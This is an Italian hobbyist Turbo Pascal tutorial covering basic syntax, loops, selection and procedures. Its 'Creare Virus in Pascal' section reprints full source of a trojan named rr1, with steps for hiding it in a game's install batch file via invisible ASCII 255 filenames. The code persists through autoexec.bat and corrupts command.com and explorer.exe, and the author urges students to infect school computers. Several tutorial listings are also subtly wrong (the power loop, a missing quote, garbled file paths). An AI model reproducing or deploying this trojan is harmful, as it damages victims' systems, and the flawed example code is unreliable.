- GUIDA ESSENZIALE AL
TURBO PASCAL
- by {$tep*Tb}
-
- Sommario:
Intro,
comandi e vari - Tipi di Dati - Strutture
Ripetitive - Procedure - Creare Virus in Pascal
- Varie & Downloads
Intro,
comandi e vari
- Dopo le INGENTI richieste di altre guide e
specialmente di guide sul Pascal da parte di studenti e aspiranti programmatori, ho deciso
di scriverne una per la vostra gioia. Il Turbo Pascal è un linguaggio con cui è
difficile andare fuori dall'applicazione prettamente matematica (cosa ke nn avviene col
Qbasic) e perciò giochini e altre simpatiche perdite di tempo saranno relativamente
difficili da fare. Questo linguaggio si deve imparare allo scientifico e in un paio di
altre scuole. E' superato da tempo ma per la sua (relativa) semplicità (è più difficile
dei linguaggi Basic) viene ancora usato per introdurre i ragazzi alla programmazione;
ciononostante i pazzi vanno avanti e tempo fa è uscita non solo la versione TPX ma anche
la 8.0 (tutti pensavano ke si fermassero alla 7.0), tutta roba ke potrete scaricare nella
sezione downloads.
- La parte grafica è complicata anke per me e
dovrete aspettare un bel po' per vederla scritta, visto ke questo linguaggio non lo so per
bene neanke io!
- Dunque cominciamo: beccatevi la versione 7.0
o la X (ke personalmente ritengo la migliore) e destreggiatevi col mouse (già: il mouse!)
sul semplice menu e sull'intuitiva schermata. Potete aprire dei listati già esistenti
oppure crearne di nuovi... già ma che scrivere? Ordunque vediamo, prendiamo un programma
semplicissimo in Pascal che printa "Hack U !"
-
- PROGRAM hackit; ( * Intestazione ke si può BENISSIMO TRALASCIARE* )
- uses crt;
- begin ( * ="inizio" *)
- writeln ( 'HACK U !!' );
- readln;
- end.
-
- Vediamo: allora le virgolette si mettono alla
fine di ogni riga tranne dopo il BEGIN, l'ultimo END (punto) e un paio di altri casi che
vedremo in seguito.
- Se al posto di HACK U voleste scrivere "
L'astro d'argento " avreste la brutta sorpresa che per scrivere gli apostrofi bisogna
pigiarli due volte. Perciò verrà: L''astro d''argento.
- "Writeln" è un comando per
scrivere le cose a capo. Per scrivere sulla stessa riga si usa solo "write".
Andiamo avanti with anotha prog (mi sto
gasando con l'americano).
- PROGRAM triplo; ( * Sezione dell' intestazione * )
- VAR n:INTEGER; ( * Sezione delle dichiarazioni *)
- begin ( * Corpo del programma *)
- writeln(' Questo programma calcola il triplo di un numero dato ');
- writeln;
- writeln('Introduci un numero intero ');
- readln(n);
- n:=n*3;
- writeln;
- writeln(' Il triplo è ' ,n);
- writeln;
- writeln(' Premi enter per finire');
- readln;
- end.
Nella parte dichiarativa abbiamo comunicato all'
elaboratore che n è una variabile (VAR) che nel corso dell' esecuzione potrà avere
soltanto un valore INTEGER , cioè di numero intero positivo o negativo.
- Esaminando successivamente il listato vedremo che la
parte esecutiva è introdotta da BEGIN ( = inizio).
- Poi troviamo una nuova parola riservata, READLN (
abbreviazione Read Line = leggi riga).Essa serve a leggere i dati di input.
- La sua sintassi è molto semplice :
-
- READLN(nome variabile da leggere)
-
- Inoltre l' istruzione READLN non seguito da alcun
parametro, crea un ciclo di attesa che dura finchè non viene premuto Invio.
- E' d' obbligo alla fine di un listato, prima dell'
END, poichè "congela" lo schermo quando dobbiamo leggere il risultato dell'
elaborazione.
- Ad esempio, se eseguissimo il programma precedente
senza READLN finale, non potremmo esaminare i risultati della nostra operazione, perchè
il programma si arresterebbe troppo in fretta.
-
- Infine, alla fine del programma (scusate il gioco di
parole), troviamo END seguito da un punto. Esso indica la fine del flusso delle
informazioni e il conseguente arresto del programma.
Tipi di
Dati
- Oooohhhh...... Come già visto in precedenza, nel settore
dichiarativo di un programma bisogna definire il tipo di variabili che intendiamo
utilizzare nel corso del programma stesso.
- Esistono vari tipi di variabili, e sono raggruppate
in questo breve specchietto.
| INTEGER | -32768 / +32767 | numeri interi positivi e negativi |
| BYTE | 0 /255 | numeri interi |
| WORD | 0 / 65535 | numeri interi |
| REAL | 2.9x10^-36 / 1.5 x 10^35 | (Numeri reali positivi e negativi) |
- Questo schema dimostra come ci siano vari tipi di
dichiarazione dei dati.
- Non è detto, però, che i tipi di dati
corrispondano soltanto a cifre; potremmo infatti di fronte a un problema che necessita di
dati alfanumerici, cioè di numeri e lettere.
- In questo caso dovremmo introdurre due nuovi tipi di
variabile:
-
- 1) STRING[x] : Dichiarando così un tipo di dato assumeremo che quel dato è formato da
un numero intero di x caratteri alfanumerici (compresi gli spazi). Usato senza parametri
non definisce la lunghezza della stringa. Inoltre nel caso in cui si dichiari una
lunghezza minore del dato inserito, l' elaboratore non considererà i cartteri che
eccedono.
- Ad esempio, se dichiarassimo la variabile a di tipo
STRING[5] e al momento di inserire i dati digitassimo la parola "folletto" ,
essa risulterebbe troncata in "folle", poichè i caratteri in eccesso non
verrebbero considerati nell' elaborazione.
-
- 2) CHAR :
E' meno usata di STRING, ma qualche volta può risultare utile. Viene usata per definire
variabili da un solo carattere ( eccetto numeri).
Strutture
Ripetitive
- Ora le cose si fanno un attimo + complesse. Il termine iterare deriva dal latino e significa "ripetere"... Ma
tanto il latino allo scientifico manco c'è più... Altro che ai miei tempi...
- Questa struttura (che è presente in tutti i
linguaggi programmativi, non solo in Pascal) agisce su una operazione che deve essere
ripetuta più volte. Ne esistono vari tipi:
-
- A) Iterazione enumerativa - Come dice la parola stessa esegue
un'operazione n volte.In Pascal è indicata dal comando:
-
- FOR a=: ni TO nf DO( * Niente punto e virgola * )
- istruzione 1;
- istruzione ...;
- END;
-
Nel nostro caso ni sostituisce il
numero intero dal quale si parte a enumerare e nf sostituisce il numero fino al quale si
continua a enumerare. Dopo questa istruzione di iterazione si inseriscono le istruzioni da
ripetere racchiudendo il tutto con un END seguito da un punto e virgola (;), poichè il
flusso di informazioni non è del tutto terminato.
- E' possibiile anche procedere a ritroso, contando
alla rovescia da un numero n fino ad arrivare ad un numero t:
- FOR a:=n DOWNTO t DO.
- Ecco un semplice esempio:
-
- PROGRAM potenza;
- USES crt;
- VAR a,b,c,i:INTEGER;
- BEGIN
- WRITELN('Inserisci un numero');
- READLN(A)
- WRITELN(' Inserisci esponente ');
- READLN(B);
- FOR I:= 1 TO b DO
- c:=a*a;
- END;
- WRITELN('Il risultato della potenza è ' ,c);
- READLN;
- END.
-
- B) Iterazione per falso - Esegue il ciclo racchiuso tra REPEAT e UNTIL
se, e solo se, la condizione espressa da UNTIL è vera, in caso contrario continua a
ripetere le istruzioni.
-
- REPEAT
- istruzione 1;
- istruzione 2;
- istruzione ...;
- UNTIL proposizione;
-
- Ricordarsi di inserire proposizioni possibili dopo
UNTIL altrimenti l'uscita dal ciclo ripetitivo non si avrà mai. Per uscire da un
programma-trappola di questo tipo, nel Pascal la combinazione ALT+F4 nn sempre funziona,
xciò potete shuttare down il programma pigiando il tasto "Windows", quello con
la finestrella x intenderci. Con Linux nn ne ho idea.
-
- Esempio:
- PROGRAM ripetizione;
- USES crt;
- VAR a,b:INTEGER;
- BEGIN
- REPEAT
- WRITELN(' Inserisci un numero minore di 30 e maggiore di 10');
- READLN(A);
- UNTIL (A<30) AND (A>10);
- READLN;
- END.
-
- c) Iterazione per vero - Esegue le informazioni racchiuse tra WHILE DO
e l' END;( il punto e virgola indica che l' END è parziale ) finché la condizione presa
in esame non sia falsa.
-
- WHILE a=3 DO
- istruzione 1;
- istruzione 2;
- istruzione...;
- END;
-
Questo semplice esempio spiega come
il blocco di istruzioni presente tra WHILE DO e END; venga ripetuto finché si rispetti la
condizione a=3.
- Nel caso in cui il valore di a fosse stato diverso
da 3, infatti, il blocco di istruzioni non sarebbe stato mai eseguito.
- Ma è possibile operare delle scelte con il
TP ?? Certo!
- Esistono due tipi di selezione: la
selezione binaria e la selezione multipla.
- a) Selezione binaria - E' la più semplice: se consideriamo un
numero naturale qualsiasi e ci domandiamo se esso è pari, la risposta potrà avere solo
due alternative: Si oppure No. In Tp c'è la possibilità di eseguire una scelta binaria
tra due condizioni con il seguente comando:
- IF <proposizione1> THEN <istruzione1> ELSE <istruzione2>
-
- Questo è quanto serve per operare ( o far operare al computer )
una scelta. Per chiarire ulteriormente questo importante processo vedrò di presentarvi un
esempio. Costruiamo un programma che calcoli l' area di un rettangolo SE E SOLO SE l' area
stessa è minore di un numero n ( per esempio 20) e maggiore di un numero m (per esempio
10);
-
- PROGRAM area_rettangolo;
- USES crt;
- VAR a,b,c:INTEGER;
- BEGIN
- CLRSCR; ( * E' un nuovo comando.E' l' abbreviazione di CLeaR SCReen=
- cancella schermo. Pulisce lo schermo. * )
- WRITELN(' Inserisci base');
- READLN(a);
- WRITELN('Inserisci altezza');
- READLN(b);
- c:=a*b;
- IF (c<20) AND (c>10) THEN ( * AND , insieme a OR sono gli operatori
- booleani più usati in TP. * )
- BEGIN
- WRITELN('Area maggiore di 20 oppure minore di 10.');
- READLN;
- END ( * L' END prima dell' ELSE senza punto e virgola(;) * )
- ELSE
- BEGIN
- WRITELN(' AREA = ',c);
- READLN;
- END;
- READLN;
- END.
-
- E' un listato semplice, e l' unica osservazione da
fare è che se dopo IF...THEN c'è solo un istruzione può essere scritta terminando il
tutto con il solito punto e virgola(;). Tuttavia , se ce ne sono più di una è necessario
aprire un altro BEGIN e cominciare un sottoprogramma il quale, però va terminato con l'
END; che, se seguito da ELSE non accetta il punto e virgola(;).
-
-
- b) Selezione multipla - Se domandiamo ad una persona quali sono i piatti che preferisce
essa sceglierà fra un' ampia gamma di pietanze fino a scegliere quella che soddisfi i
suoi gusti. infatti, al contrario di prima,la selezione multipla ci fornisce illimitate
possibilità di risposta.
- Il comando che in TP ci permette di operare un selezione multipla è il seguente:
-
- CASE n of
- ( * Se n è stata dichiarata INTEGER * )
- valore 1:BEGIN
- istruzione1;
- istruuzione2;
- istruzione...
- END;
- ( * Se n è stata dichiarata CHAR * )
- valore x:BEGIN
- istruzione1;
- istruzione2;
- istruzione...;
- END;
- ELSE
- BEGIN
- istruzione 1;
- istruzione2;
- istruzione...;
- END;
- END;
Nonostante la sua sintassi spaventosamente
ricca, questa struttura è di facilissima comprensione. Innanzitutto dobbiamo decidere se
dichiarare la variabile n come tipo INTEGER oppure CHAR. Se n è CHAR dovremo usare UNA
lettera seguita dai due punti(:) e dal rispettivo sottoprogramma delimitato da BEGIN e
END; . Se invece n è INTEGER dovremo usare un numero naturale al posto di n e mettere
dopo i due punti(:) il solito sottoprogramma delimitato da BEGIN e END; . Proviamo ora con
un' esempio: un programma che generi un numero a caso tra 1 e 10 e lo comunichi all'
operatore solo se esso è uguale a 7, 9 o 3.
- PROGRAM numeri_casuali;
- USES crt;
- VAR a,b,c:INTEGER;
- BEGIN
- CLRSCR;
- RANDOMIZE; ( * Inizializza,ossia azzera il generatore di numeri casuali * )
- c:=RANDOM(10); ( * Questo comando permette all' elaboratore di generare un
- numero a caso compreso tra 0 e il numero indicato in
- parentesi. Il massimo consentito è 255 * )
- CASE c OF
- 7:BEGIN
- WRITELN(' Il numero è ',c);
- END;
- 9:BEGIN
- WRITELN(' Il numero è ',c);
- END;
- 3:BEGIN
- WRITELN(' Il numero è ',c);
- END;
- ELSE
- BEGIN
- WRITELN(' Il numero uscito è diverso da 3 7 e 9);
- END;
- END;
-
Potrebbe sembrare che quelle poche
strutture analizzate debbano esssere affiancate da molte altre per costruire un programma
relativamente complesso, ma le strutture sequenziali sono le più lineari, poichè il
flusso di dati scorre senza ripetizioni né selezioni che abbiamo utilizzato
tranquillamente nel primo programma ( quello del triplo di un numero ) senza saperlo.
Procedure
Spesso, soprattutto in programmi
complessi e piuttosto elaborati, ci troviamo dinanzi al problema di ripetere uno stesso
procedimento più volte all'interno dello stesso programma. La soluzione a questo problema
è data dal fatto che possiamo memorizzare una procedura e ripeterla a piacimento durante
la stesura del programma.
Questa utilissima funzione ha la
seguente sintassi:
-
- PROCEDURE nomeprocedura;
- BEGIN
- blocco istruzioni
- ....
- ....
- END;
-
E' importante dire che i precedenti
comandi devono essere digitati tra il settore dichiarativo e il corpo del programma (per
intenderci, prima del BEGIN iniziale).
-
Per richiamare una procedura durante
il programma bisogna digitare il nome
della procedura seguito da un punto
e virgola(;).
-
Esempio: Modificare il programma
precedente inserendo una procedura.
-
- PROGRAM numeri_casuali;
- USES crt;
- VAR a,b,c:INTEGER;
- PROCEDURE output; ( * Qualsiasi nome va bene * )
- BEGIN
- WRITELN(' Il numero estratto è ',c);
- READLN;
- END;
- BEGIN
- CLRSCR;
- RANDOMIZE;
- c:=RANDOM(10); ( * Questo comando permette all' elaboratore di generare un
- numero a caso compreso tra 0 e il numero indicato in
- parentesi. Il massimo consentito è 255 * )
- CASE c OF
- 7:BEGIN
- output;
- END;
- 9:BEGIN
- output;
- END;
- 3:BEGIN
- output;
- END;
- ELSE
- BEGIN
- WRITELN(' Il numero uscito è diverso da 3 7 e 9);
- END;
- END;
-
In questo caso una procedura è
addirittura una perdita di tempo poichè le istruzioni da riscrivere sono poche ma in casi
più complessi fanno risparmiare tempo e fatica. E voi non dovete avere tempo da
perdere!
Creare
Virus in Pascal
A mio avviso una delle
cose che fanno provare + soddisfazione ad un giovane liceale è infettare il pc del
biennio con un virus scritto nello stesso linguaggio che gli hanno insegnato. Ciò non
vuol dire che io lo abbia fatto, anche se due computer della scuola li ho sputtanati x
bene (uno "senza volere" con miei esperimenti). Ma eccoci giunti alla fatidica
domanda che in mille mi hanno fatto: "Come si scrivono i virus in Pascal ??"
- Ebbene, riporto qui sotto, come spunto per voi, un pezzo della rivista
"SystemDown" in cui RaggedRobin spiega come fare un virus in Turbo Pascal (NB:
se eseguite sul vostro pc sn kaxxi vostri !!!) :
"Il virus rr1 e' nella fattispecie un
trojan horse scritto in pascal, un linguaggio facile e che spesso viene insegnato a
scuola; rr1 e' un t.h. ma a differenza di molti altri
non agisce subito ma aspetta che si riavvii il computer 5 volte. Il modo col quale
renderlo operativo e' semplice: per prima cosa e' necessario modificare un file bat in un
disketto (magari quello che installa un gioco), dal PROMPT DI DOS bisogna scrivere : EDIT
seguito da uno spazio e dal nome del file bat, andare a capo, tenere premuto il tasto alt
e scrivere dal tastierino numerico 255 quindi rilasciare alt, in questo modo avete
inserito nel file bat il carattere ascii 255 che è invisibile. Quando compilate rr1
dovete rinominare, sempre da dos, il file con il carattere 255 dovete cioe' scrivere ren
rr1.exe (premete alt scrivete 255 da tastierino e lasciate alt).exe, cambiate gli
attributi del file nascondendolo (con il comando dos "attrib +h nomefile" o con
win, come preferite) e copiatelo in a. Una volta che verra' lanciato il file bat che avete
modificato il virus verra' copiato in c:, alla fine dell'autoexec.bat verrà aggiunto il
carattere 255 in modo che ogni volta che si avvia il computer il file venga caricato
in memoria e il contatore che si chiama group.txt e che si trova in c:venga incrementato
di uno.
Quando il contatore arriva a cinque il primo carattere del command.com e
dell'explorer.exe vengono incrementati di due, vengono quindi fatte tre domande e se si
risponde bene vengono rimessi a posto i files. A causa delle sue caratteristiche questo
virus viene difficilmente scovato da programmi anti-vir."
program rr1;
uses DOS,CRT;
type conta=file of integer;
type autoexec=file of char;
var i,copy,risp2,invio:char;
auto,zone,gruppo,command,explorer:autoexec;
volte:conta;
harddisk:string[16];
dischetto:string[5];
j,contatore:integer;
risp:string[10];
procedure fallito;
begin
write('SPIACENTE AMICO QUESTA VOLTA TI E'' ANDATA MALE !!!');
DELAY(2000);
HALT;
END;
begin
invio:=chr(13);
j:=0;
i:=chr(255); {il carattere ASCII 255 e' invisibile}
assign(auto,'c:.bat');
reset (auto);
assign(volte,'c:.txt');
repeat
read(auto,copy);
if copy=i then j:=1;
until (eof(auto)) or (j=1); {guardo se autoexec.bat e' infetto}
if j<> 1 then begin {se non lo e'}
seek(auto,filesize(auto)); {aggiungo un invio}
write(auto,invio); {e il carattere 255}
invio:=char(10);
write(auto,invio);
write (auto,i); {nell' autoexec.bat}
close (auto);
harddisk:='c:.exe'; {copio il virus su hd}
dischetto:='.exe';
insert(i,harddisk,12);
insert(i,dischetto,1);
assign(zone,dischetto);
assign(gruppo,harddisk);
reset(zone);
rewrite(gruppo);
repeat
read(zone,copy);
write(gruppo,copy);
until eof(zone);
close (zone);
close(gruppo);
rewrite(volte); {creo il contatore}
write(volte,j);
close(volte);
SetFAttr(gruppo,Hidden); {nascondo il virus}
end;
reset (volte);
read(volte,contatore);
reset(volte);
contatore:=contatore+1;
write(volte,contatore);
close(volte);
reset(volte);
read(volte,contatore);
if contatore=4 then begin {contatore=4=crack}
assign(command,'c:.com');
assign(explorer,'c:.exe');
reset(command);
reset(explorer);
read(explorer,copy);
copy:=char(ord(copy)+2); {aggiungo 2 al primo }
reset(explorer);
write(explorer,copy); {carattere di }
read(command,copy); {command.com ed }
copy:=char(ord(copy)+2); {explorer.exe }
reset (command);
write (command,copy);
close (command);
close (explorer);
{QUESTO QUA' SOTTO E' L'AVVISO}
CLRSCR;
WRITELN(' SPIACENTE AMICO, TI SEI BECCATO UN VIRUS.');
WRITELN(' FOSSI IN TE NON SPEGNEREI IL COMPUTER.');
GOTOXY(1,5);
WRITELN('SE RISPONDI ALLE MIE DOMANDE CANCELLERO'' IL VIRUS');
WRITELN('SE NON LO FARAI...PEGGIO PER TE');
WRITE('PREMI UN TASTO PER INCOMINCIARE E RICORDATI CHE NON PUOI ');
WRITELN('SBAGLIARE');
DELAY(2500); {ritarda qualche secondo }
READKEY; {per evitare che uno prema}
CLRSCR; {un tasto per sbaglio }
{QUESTO INVECE E' L'HACK QUIZ}
REPEAT
WRITELN('Qual'' e' il nome di Mitnick?');
READLN(RISP);
WRITELN('NE SEI PROPRIO SICURO?(S/N)');
READLN(RISP2);
UNTIL (RISP2='S') OR (RISP2='s');
IF (RISP='Kevin') OR (risp='KEVIN') OR (RISP='kevin')
THEN BEGIN WRITELN('PRIMA RISPOSTA GIUSTA!');
CLRSCR;
DELAY(1500);
END
ELSE FALLITO;
WRITELN('');
REPEAT
WRITELN('Qual'' e' il sistema operativo piu' usato nelle reti?');
READLN(RISP);
WRITELN('NE SEI PROPRIO SICURO?(S/N)');
READLN(RISP2);
UNTIL (RISP2='S') OR (RISP2='s');
IF (RISP='Unix') OR (risp='UNIX') OR (RISP='unix')
THEN BEGIN WRITELN('HAI AZZECCATO ANCHE LA SECONDA, COMPLIMENTI.');
CLRSCR;
DELAY(1500);
END
ELSE FALLITO;
WRITELN('');
REPEAT
WRITELN('IL SISTEMA OPERATIVO DA LA PRECEDENZA AI COM O AGLI EXE?');
READLN(RISP);
WRITELN('NE SEI PROPRIO SICURO?(S/N)');
READLN(RISP2);
UNTIL (RISP2='S') OR (RISP2='s');
IF (RISP='COM') OR (risp='Com') OR (RISP='com')
THEN BEGIN WRITELN('E ANCHE LA TERZA E'' GIUSTA, ORA TOGLIERO'' IL VIRUS');
CLRSCR;
DELAY(1500);
END
ELSE FALLITO;
{CON QUESTO METTO TUTTO A POSTO}
reset(command);
reset(explorer);
read(explorer,copy);
copy:=char(ord(copy)-2); {tolgo 2 al primo }
reset(explorer); {carattere di }
write(explorer,copy); {command.com ed }
read(command,copy); {explorer.exe }
copy:=char(ord(copy)-2);
reset (command);
write (command,copy);
close (command);
close (explorer);
end;
end.
Varie
& Downloads
Qua ho riportato alcuni comandi che
servono per gasarsi un po'.
-
- 1) TEXTCOLOR(n)= Colora il testo che segue di un colore definito da n che è un numero
da 0 a 15. I numeri maggiori di quindici producono un effetto lampeggiante.
-
- 2) TEXTBACKGROUND(n)= Colora lo sfondo d un colore definito da n. Sintassi simile a
TEXTCOLOR.
-
- 3) ABS(x) = Calcola il valore assoluto del numero x;
-
- 4) SQRT(x) = Calcola la radice quadrata di x;
-
- 5) DELAY(n) = Crea un ciclo di attesa lungo n ( millisecondi)
-
-
I segni di operazione in TP , sono i
seguenti:
-
- '+' = ADDIZIONE
- '-' = SOTTRAZIONE
- '*' = MOLTIPLICAZIONE
- '/' = DIVISIONE
- MOD = RESTO DELLA DIVISIONE ( MOD può essere usato soltanto se i numeri da
- dividere sono di tipo INTEGER )
-
Inoltre, per indicare il rapporto
fra due cifre ci serviamo dei seguenti simboli matematici :
-
- '<' = MINORE
- '>' = MAGGIORE
- '=' = UGUALE
- '=>'= MAGGIORE O UGUALE
- '<='= MINORE O UGUALE
- '<>' = DIVERSO DA ...
DOWNLOADS
Ed ecco a voi i files che vi consiglio di scaricare:
Un po' vecchio ma resta il più usato nei licei. Voto 8
Qualche innovazione rispetto al 7.0. Voto 9
Per eventuali errori o programmi scrivete pure nel
nostro FORUM
e se so risolvere la questione non esiterò a rispondervi.
By {$tEp*Tb}
-
-